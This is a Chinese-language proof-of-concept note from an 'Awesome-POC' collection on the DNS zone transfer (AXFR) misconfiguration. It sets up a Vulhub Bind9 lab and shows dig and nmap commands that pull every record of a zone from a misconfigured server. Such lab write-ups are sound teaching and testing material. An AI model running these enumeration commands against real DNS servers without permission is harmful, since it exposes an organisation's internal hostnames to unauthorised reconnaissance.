Awesome-POC/其他漏洞/DNS域传送漏洞.md
2024-11-06 14:10:36 +08:00

38 lines
1.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# DNS域传送漏洞
## 漏洞描述
DNS协议支持使用axfr类型的记录进行区域传送用来解决主从同步的问题。如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源将会导致DNS域传送漏洞。
axfrDNS Zone Transfer Protocol (AXFR)dns的全量更新协议dns主从架构更新从向主获取zone的全量数据由主返回axfr消息全量刷新该zone的slave信息。
参考链接:
- https://www.acunetix.com/blog/articles/dns-zone-transfers-axfr/
- https://nmap.org/nsedoc/scripts/dns-zone-transfer.html
## 环境搭建
Vulhub使用[Bind9](https://wiki.debian.org/Bind9)来搭建dns服务器但不代表只有Bind9支持AXFR记录。运行DNS服务器
```
docker-compose up -d
```
环境运行后将会监听TCP和UDP的53端口DNS协议同时支持从这两个端口进行数据传输。
## 漏洞复现
在Linux下我们可以使用dig命令来发送dns请求。比如我们可以用`dig @your-ip www.vulhub.org`获取域名`www.vulhub.org`在目标dns服务器上的A记录
![image-20220222172325411](images/202202221723645.png)
发送axfr类型的dns请求`dig @your-ip -t axfr vulhub.org`
![image-20220222172307620](images/202202221723790.png)
可见,获取到了`vulhub.org`的所有子域名记录这里存在DNS域传送漏洞。
也可以用nmap script来扫描该漏洞`nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 your-ip`